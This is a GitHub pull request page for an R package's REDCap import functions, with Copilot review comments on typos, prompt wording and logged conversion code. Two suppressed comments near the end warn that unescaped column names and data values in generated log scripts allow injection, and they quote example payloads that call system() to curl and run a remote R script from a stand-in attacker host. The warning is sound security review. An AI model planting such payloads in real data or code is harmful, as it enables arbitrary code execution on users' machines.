Skip to content

improving redcap_import_select and redcap_import_recode#30

Merged
aghaynes merged 12 commits intoCTU-Bern:mainfrom
DominikGuentensperger:main
Jan 8, 2026
Merged

improving redcap_import_select and redcap_import_recode#30
aghaynes merged 12 commits intoCTU-Bern:mainfrom
DominikGuentensperger:main

Conversation

@DominikGuentensperger
Copy link
Collaborator

No description provided.

Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

This pull request improves two key REDCap import functions by standardizing parameter naming, enhancing the user interface with color-coded prompts, and adding new functionality for batch processing. The changes aim to make the functions more user-friendly and maintainable.

Key changes include:

  • Standardizing parameter names from import_data/selected_data to input_data across both functions
  • Adding a batch_size parameter to redcap_import_select for displaying REDCap variables in manageable batches
  • Replacing numeric input prompts (0/1) with more intuitive letter-based options (y/n) throughout the interactive interface
  • Enhancing visual feedback with color-coded prompts using additional crayon imports (green, yellow, magenta, strip_style)

Reviewed changes

Copilot reviewed 8 out of 8 changed files in this pull request and generated 8 comments.

Show a summary per file
File Description
man/redcap_import_select.Rd Updates documentation for parameter rename and adds batch_size parameter description
man/redcap_import_recode.Rd Updates documentation for parameter rename from selected_data to input_data
R/reformat.R Comments out debug print statement in redcap_prep_datetimes
R/redcap_import_select.R Major refactoring with parameter rename, batch processing feature, improved UI with color prompts, and runtime adjustments for similarity/batch settings
R/redcap_import_recode.R Parameter rename, improved UI with color prompts, enhanced user messages, and better formatting for tables
NEWS.md Adds version 0.5.2 entry documenting bug-fixes and readability improvements
NAMESPACE Adds new crayon imports (green, yellow, magenta, strip_style) for enhanced UI
DESCRIPTION Updates package version from 0.5.1 to 0.5.2

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

# compares var name to data dictionary field names
if (!any(str_detect(rc_vars$field_name,paste0("^",imp_vars[i],"$")))) {
if(!suppress_txt) cat(paste("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")
if(!suppress_txt) cat(paste0("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing space after the comma. The output will read 'Variable nameNOT found in REDCap:' instead of 'Variable name NOT found in REDCap:'. Add a space before 'underline("NOT")' or after the comma.

Suggested change
if(!suppress_txt) cat(paste0("\nVariable name", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")
if(!suppress_txt) cat(paste0("\nVariable name ", underline("NOT"),"found in REDCap:", blue(bold(underline(imp_vars[i])))),"\n\n")

Copilot uses AI. Check for mistakes.
# compares var name to data dictionary field names
if (any(str_detect(rc_vars$field_name,paste0("^",imp_vars[i],"$")))) {
if(!suppress_txt) cat(paste("\nVariable name found in REDCap:", blue(bold(underline(imp_vars[i])))))
if(!suppress_txt) cat(paste0("\nVariable name found in REDCap:", blue(bold(underline(imp_vars[i])))))
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing space after the colon. The output will read 'Variable name found in REDCap:variable_name' instead of 'Variable name found in REDCap: variable_name'. Add a space after the colon in the string.

Suggested change
if(!suppress_txt) cat(paste0("\nVariable name found in REDCap:", blue(bold(underline(imp_vars[i])))))
if(!suppress_txt) cat(paste0("\nVariable name found in REDCap: ", blue(bold(underline(imp_vars[i])))))

Copilot uses AI. Check for mistakes.
cat("\nPlease check your answer!")
cat(paste0("\nType ",green(bold("y")), " and press Enter to continue."))
cat(paste0("\nPress ",red(bold("ESC"))," to stop.\n"))
intor_ans <- ""
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a typo in the variable name: intor_ans should be intro_ans. This will cause the variable to be undefined, since intro_ans is the one being checked in the while loop condition.

Suggested change
intor_ans <- ""
intro_ans <- ""

Copilot uses AI. Check for mistakes.

auto_recode_precision <- readline(prompt="Answer: ")
cat(paste0("\nCurrent similarity index: ",auto_recode_precision))
new_sim <- readline(prompt="Please enter a new similariy index between 0 and 1: ")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The typo 'similariy' should be 'similarity'. This appears in a user-facing prompt asking for input.

Suggested change
new_sim <- readline(prompt="Please enter a new similariy index between 0 and 1: ")
new_sim <- readline(prompt="Please enter a new similarity index between 0 and 1: ")

Copilot uses AI. Check for mistakes.
# skip
if (match_ans == 'skip') {
what_to_do <- "no_select"
out_txt <- italic("Variable will not be be selected!")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's an unnecessary 'be' repeated in the sentence. It should read 'Variable will not be selected!' instead of 'Variable will not be be selected!'.

Suggested change
out_txt <- italic("Variable will not be be selected!")
out_txt <- italic("Variable will not be selected!")

Copilot uses AI. Check for mistakes.
}
Sys.sleep(wait)

cat(paste0("\n\nWhat would you like to do for", blue(bold(underline(imp_vars[i])))),"?")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing space after 'for'. The output will read 'What would you like to do forvariable_name?' instead of 'What would you like to do for variable_name?'. Add a space at the end of the string before the closing quote.

Suggested change
cat(paste0("\n\nWhat would you like to do for", blue(bold(underline(imp_vars[i])))),"?")
cat(paste0("\n\nWhat would you like to do for ", blue(bold(underline(imp_vars[i])))),"?")

Copilot uses AI. Check for mistakes.
Comment on lines +303 to +306
cat(prhelp(green(bold("y")),"YES, select variable without renaming."))
cat(prhelp(yellow(bold("n")),"NO, rename the variable."))
cat(prhelp(yellow("skip"),"do NOT select variable and move to next item"))
cat(prhelp(red("exit"),"do NOT select variable and stop loop"))
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The prhelp function is designed to print output directly with cat(), but it's being called inside another cat() statement. This will result in NULL being passed to the outer cat() and the prhelp output appearing separately. Either remove the outer cat() calls or modify prhelp to return a string instead of printing directly.

Copilot uses AI. Check for mistakes.
Comment on lines +663 to +666
cat(prhelp(green(bold("y")),"YES, convert as suggested."))
cat(prhelp(yellow(bold("n")),"NO, convert manually."))
cat(prhelp(red("skip"),"do NOT convert and move to next variable."))
cat(prhelp(red("exit"),"do NOT convert and stop loop."))
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The prhelp function is designed to print output directly with cat(), but it's being called inside another cat() statement. This will result in NULL being passed to the outer cat() and the prhelp output appearing separately. Either remove the outer cat() calls or modify prhelp to return a string instead of printing directly.

Copilot uses AI. Check for mistakes.
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 9 out of 9 changed files in this pull request and generated 9 comments.


💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

cat("\n 'skip' = skip this variable")
cat("\n 'exit' = stop loop, exit code")
cat("\nPlease check your answer!")
cat("\n\nChoose an option (type and press Enter):\n")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a typo "of" should be "off" in the comment. The comment says "turn on/of auto skipping" but should say "turn on/off auto skipping".

Copilot uses AI. Check for mistakes.
break
}

### turn on/off auto selecting ----
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment has a typo: "of" should be "off". The comment should read "turn on/off auto selecting" instead of "turn on/of auto selecting".

Copilot uses AI. Check for mistakes.
Comment on lines +1051 to +1054
converted_var <- if_else(round(as.numeric(var)) %% 1 == 0 &
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The condition round(as.numeric(var)) %% 1 == 0 is redundant because round() always produces an integer value when applied to a number, making the modulo check always true. The condition can be simplified to just check the range: if_else(as.numeric(var) >= rc_min & as.numeric(var) <= rc_max, as.integer(round(as.numeric(var))), NA). This same redundancy exists in the integer conversion at line 869.

Suggested change
converted_var <- if_else(round(as.numeric(var)) %% 1 == 0 &
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
converted_var <- if_else(as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(round(as.numeric(var))), NA)

Copilot uses AI. Check for mistakes.
if (change_round) {
converted_var <- if_else(round(as.numeric(var)) %% 1 == 0,as.integer(var),NA)
log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")
log_default <- paste0("as.character(as.integer(",name,"))")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The log_default doesn't match the actual conversion logic when change_round is TRUE. The code converts using as.integer(var) but should use as.integer(round(as.numeric(var))) to match what's actually being done in the if_else statement. This applies to both the slider conversion (line 1055) and the integer conversion (line 870).

Copilot uses AI. Check for mistakes.
cat("\n\nChoose an option (type and press Enter):\n")
prhelp(green(bold("y")),"YES, select variable without renaming.")
prhelp(yellow(bold("n")),"NO, rename the variable.")
prhelp(yellow("skip"),"do NOT select variable and move to next item")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The option description says "move to next item" but should say "move to next variable" for consistency with other similar messages in the codebase. Throughout the rest of the code, "variable" is used instead of "item" when referring to the loop iteration.

Copilot uses AI. Check for mistakes.
cat("\n\nChoose an option (type and press Enter):\n")
prhelp(green(bold("y")),"YES, select variable without renaming.")
prhelp(yellow(bold("n")),"NO, rename the variable.")
prhelp(yellow("skip"),"do NOT select variable and move to next item")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The option description says "move to next item" but should say "move to next variable" for consistency. The same inconsistency appears in lines 323, 404, and 438 where "item" should be "variable".

Copilot uses AI. Check for mistakes.
cat("\n\nChoose an option (type and press Enter):\n")
cat(paste0("To ",green("rename")," the variable, type the field name or choose the respective number from the list above!\n"))
prhelp(yellow("select"),"select the variable anyway (without renaming)",14)
prhelp(yellow("skip"),"do NOT select variable and move to next item",14)
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The option description says "move to next item" but should say "move to next variable" for consistency with other similar messages throughout the codebase.

Copilot uses AI. Check for mistakes.
cat("\n\nChoose an option (type and press Enter):\n")
cat(paste0("To ",green("rename")," the variable, type the field name or choose the respective number from the list above!\n"))
prhelp(yellow("select"),"select the variable anyway (without renaming)",14)
prhelp(yellow("skip"),"do NOT select variable and move to next item",14)
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The option description says "move to next item" but should say "move to next variable" for consistency with other similar messages throughout the codebase.

Suggested change
prhelp(yellow("skip"),"do NOT select variable and move to next item",14)
prhelp(yellow("skip"),"do NOT select variable and move to next variable",14)

Copilot uses AI. Check for mistakes.
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
log_default <- paste0("as.character(as.integer(",name,"))")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The log_default doesn't match the actual conversion logic when change_round is TRUE. The code converts using as.integer(var) but should use as.integer(round(as.numeric(var))) to match what's actually being done in the if_else statement at line 1051-1054.

Suggested change
log_default <- paste0("as.character(as.integer(",name,"))")
log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")

Copilot uses AI. Check for mistakes.
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 9 out of 9 changed files in this pull request and generated 6 comments.


💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

...) {

field_name <- field_type <- select_choices_or_calculations <- text_validation_type_or_show_slider_number <- field_label <- text_validation_min <- text_validation_max <- value <- n <- NULL
intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- ""
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The variable initialization for intro_ans and other answer variables sets them to empty strings, but several while loops check against numeric values (e.g., while (intro_ans != 1)). This creates a type mismatch where a string "" is compared to numeric 1, which may not behave as intended. Consider initializing these variables as NA or ensuring consistent type usage throughout.

Suggested change
intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- ""
intro_ans <- manconv_ans <- conv_to <- contconv_ans <- manrec_ans <- rec_ans <- contrec_ans <- NA

Copilot uses AI. Check for mistakes.
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The logged code for slider conversion with rounding (line 1055) does not include the min/max bounds validation that is actually performed in the conversion logic (lines 1052-1053). The logged code should reflect the actual conversion logic including the bounds check, otherwise users who reuse the logged code will get different results.

Suggested change
log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")
log_default <- paste0("as.character(ifelse(is.numeric(", name, ") & as.numeric(", name, ") >= ", rc_min, " & as.numeric(", name, ") <= ", rc_max, ", as.integer(", name, "), NA))")

Copilot uses AI. Check for mistakes.
Comment on lines 369 to +370
while (intro_ans != 1) {
intro_ans <- readline(prompt="Answer: ")
intro_ans <- readline(prompt="Type '1' to continue: ")
if (intro_ans != 1) {
cat("Please check your answer! \n 1 = YES\n'esc' = STOP")
intor_ans <- ""
cat("\nPlease check your answer! (Press 'ESC' to cancel)")
}
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The while loop condition checks if intro_ans != 1 (numeric), but intro_ans is initialized as an empty string "". The readline() function returns a string, so the comparison will be between string values and numeric 1. This creates a type mismatch that may cause unexpected behavior. The second intro prompt (lines 382-390) correctly uses string comparison with "y", but this first prompt should also be updated to use consistent string comparisons or intro_ans should be initialized differently.

Copilot uses AI. Check for mistakes.
prhelp(green(bold("y")),"YES, recode as suggested")
prhelp(yellow(bold("n")),"NO, recode manually")
if (nrow(sugg_coding) > 0) {
prhelp(yellow(bold("p")),"change precision of matching for the recoding suggestions")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Inconsistent terminology: the option description says "change precision of matching" but on line 1748 it says "change similarity index". Using "similarity index" consistently would be clearer since that's the term used elsewhere in the code and documentation.

Suggested change
prhelp(yellow(bold("p")),"change precision of matching for the recoding suggestions")
prhelp(yellow(bold("p")),"change similarity index for the recoding suggestions")

Copilot uses AI. Check for mistakes.

if (change_round) {
converted_var <- if_else(round(as.numeric(var)) %% 1 == 0,as.integer(var),NA)
converted_var <- if_else(is.numeric(var),as.integer(var),NA)
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The condition uses is.numeric(var) which returns a single TRUE/FALSE for the entire vector, not element-wise evaluation. This means all elements will be treated the same way based on the vector's type, rather than checking each element individually. This is likely intentional if var is already known to be a numeric vector at this point, but if var could contain mixed types or NA values that need different handling, this logic may not work as expected. The same pattern appears in the slider conversion code at line 1051.

Suggested change
converted_var <- if_else(is.numeric(var),as.integer(var),NA)
converted_var <- as.integer(round(as.numeric(var)))

Copilot uses AI. Check for mistakes.
prhelp(yellow(bold("r")),"round values with more decimal places than permitted",15)
}
if(conv_to %in% c("time_hm","dt")) {
prhelp(yellow(bold("r")),"remove time information that is not required",15)
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Typo in error message: "unneccessary" should be "unnecessary" (single 'c').

Copilot uses AI. Check for mistakes.
Copy link

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Copilot reviewed 9 out of 9 changed files in this pull request and generated 4 comments.

Comments suppressed due to low confidence (2)

R/redcap_import_select.R:727

  • imp_vars[i] (column names from input_data) are concatenated directly into R code strings written to log_code via write.table, for example in the no_rename and rename branches, creating executable code that depends on untrusted data. If input_data comes from an external file (e.g., CSV headers supplied by another party), a crafted column name like x); system("curl https://attacker/evil.R | R"); # will be embedded into the generated script and run if a user later sources or copy-pastes the log, enabling arbitrary R code execution with the analyst's privileges. To mitigate this, avoid generating executable R from raw column names (or ensure they are strictly validated/escaped into safe identifiers before logging) so that logs treat these values as data rather than code.
            write.table(paste0(", ",imp_vars[i]), log_code, quote = FALSE, row.names = FALSE, col.names = FALSE, append = TRUE)
            write.table(paste("",imp_vars[i],"x","","-", sep = ","), log_table, quote = FALSE, row.names = FALSE, col.names = FALSE, append = TRUE)
          }
        }



        ## rename ----
        if (what_to_do == "rename") {
          vars_rename[[length(vars_rename)+1]] <- imp_vars[i]
          names(vars_rename)[length(vars_rename)] <- new_name
          rc_vars <- filter(rc_vars,field_name != new_name)

          if(log) {
            write.table(paste0(", ",new_name," = ",imp_vars[i]), log_code, quote = FALSE, row.names = FALSE, col.names = FALSE, append = TRUE)

R/redcap_import_recode.R:2003

  • In the manual recoding branch, the data value lvl is again concatenated directly into R code strings stored in log_recode_code (e.g., ", '" + lvl + "' ~ '" + lvl + "'" or ", '" + lvl + "' ~ NA), which are written into the log_codescript. Becauselvlcomes from actual data values ininput_data(potentially supplied by REDCap respondents or external files), a malicious value containing quotes and R syntax (such asvalue'); system('curl https://attacker/evil.R | R'); #) will be turned into executable R when the analyst later sources or copies the log, leading to arbitrary code execution. The code generation for log_code` should either avoid embedding raw data values at all or must rigorously escape/quote them so that untrusted strings cannot terminate the literal and inject additional R expressions.
              log_recode_code <- c(log_recode_code,paste0(", '",lvl,"' ~ '",lvl,"'"))
              log_recode_table <- c(log_recode_table,paste0(",,",gsub(","," ",lvl),",",gsub(","," ",lvl)))
              next
            }

            # set to missing
            if (rec_ans == 'empty') {

              # empty cells
              if (l == 1 & any(empty_cells)) {
                recoded_var <- recoded_var
                log_recode_code <- c(log_recode_code,", NA ~ NA")
                log_recode_table <- c(log_recode_table,",,(empty),(empty)")

                # any other value
              } else {
                levels(recoded_var)[which(levels(recoded_var) == lvl)] <- NA
                log_recode_code <- c(log_recode_code,paste0(", '",lvl,"' ~ NA"))
                log_recode_table <- c(log_recode_table,paste0(",,",gsub(","," ",lvl),",(empty)"))
              }
            }


            # recode
            if (any(str_detect(coded_options$code,paste0("^",rec_ans,"$")))) {

              # empty cells
              if (l == 1 & any(empty_cells)) {
                recoded_var <- as.character(recoded_var)
                recoded_var[is.na(recoded_var)] <- rec_ans
                recoded_var <- as.factor(recoded_var)

                log_recode_code <- c(log_recode_code,paste0(", NA ~ '",rec_ans,"'"))
                log_recode_table <- c(log_recode_table,paste0(",,(empty),",rec_ans))

                # any other value
              } else {
                levels(recoded_var)[which(levels(recoded_var) == lvl)] <- rec_ans
                log_recode_code <- c(log_recode_code,paste0(", '",lvl,"' ~ '",rec_ans,"'"))
                log_recode_table <- c(log_recode_table,paste0(",,",gsub(","," ",lvl),",",rec_ans))

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +1055 to +1062
log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")

} else {
converted_var <- if_else(as.numeric(var) %% 1 == 0 &
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
log_default <- paste0("as.character(as.integer(",name,"))")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The logged code does not include the min/max validation checks that are applied in the actual conversion (lines 1052-1053). The log should reflect the complete conversion logic to ensure reproducibility. Consider including the range validation in the logged code or documenting why it's omitted.

Suggested change
log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")
} else {
converted_var <- if_else(as.numeric(var) %% 1 == 0 &
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
log_default <- paste0("as.character(as.integer(",name,"))")
log_default <- paste0(
"as.character(ifelse(round(as.numeric(", name, ")) %% 1 == 0 & ",
"as.numeric(", name, ") >= rc_min & ",
"as.numeric(", name, ") <= rc_max, ",
"as.integer(", name, "), NA))"
)
} else {
converted_var <- if_else(as.numeric(var) %% 1 == 0 &
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
log_default <- paste0(
"as.character(ifelse(as.numeric(", name, ") %% 1 == 0 & ",
"as.numeric(", name, ") >= rc_min & ",
"as.numeric(", name, ") <= rc_max, ",
"as.integer(", name, "), NA))"
)

Copilot uses AI. Check for mistakes.
Comment on lines +1055 to +1062
log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")

} else {
converted_var <- if_else(as.numeric(var) %% 1 == 0 &
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
log_default <- paste0("as.character(as.integer(",name,"))")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The logged code does not include the min/max validation checks that are applied in the actual conversion (lines 1058-1060). The log should reflect the complete conversion logic to ensure reproducibility. Consider including the range validation in the logged code or documenting why it's omitted.

Suggested change
log_default <- paste0("as.character(as.integer(round(as.numeric(",name,"))))")
} else {
converted_var <- if_else(as.numeric(var) %% 1 == 0 &
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
log_default <- paste0("as.character(as.integer(",name,"))")
log_default <- paste0(
"ifelse(round(as.numeric(", name, ")) %% 1 == 0 & ",
"as.numeric(", name, ") >= ", rc_min, " & ",
"as.numeric(", name, ") <= ", rc_max, ", ",
"as.character(as.integer(round(as.numeric(", name, ")))), NA)"
)
} else {
converted_var <- if_else(as.numeric(var) %% 1 == 0 &
as.numeric(var) >= rc_min &
as.numeric(var) <= rc_max,
as.integer(var),NA)
log_default <- paste0(
"ifelse(as.numeric(", name, ") %% 1 == 0 & ",
"as.numeric(", name, ") >= ", rc_min, " & ",
"as.numeric(", name, ") <= ", rc_max, ", ",
"as.character(as.integer(", name, ")), NA)"
)

Copilot uses AI. Check for mistakes.
if (contconv_ans == '4') {
if (contconv_ans == 'd') {

# set change_pot_miss to TRUE so that conversion-part is skipped
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The comment incorrectly states "set change_pot_miss to TRUE" but the code actually sets "change_cb_delims" to TRUE. The comment should be corrected to match the actual variable being set.

Suggested change
# set change_pot_miss to TRUE so that conversion-part is skipped
# set change_cb_delims to TRUE so that conversion-part is skipped

Copilot uses AI. Check for mistakes.
Comment on lines +303 to +306
prhelp(green(bold("y")),"YES, select variable without renaming.")
prhelp(yellow(bold("n")),"NO, rename the variable.")
prhelp(yellow("skip"),"do NOT select variable and move to next variable")
prhelp(red("exit"),"do NOT select variable and stop loop")
Copy link

Copilot AI Jan 6, 2026

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Inconsistent punctuation in user-facing messages. Lines 303-304 end with periods, while lines 305-306 do not. For consistency and better user experience, all option descriptions should follow the same punctuation pattern.

Copilot uses AI. Check for mistakes.
@aghaynes aghaynes merged commit e1d2501 into CTU-Bern:main Jan 8, 2026
10 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants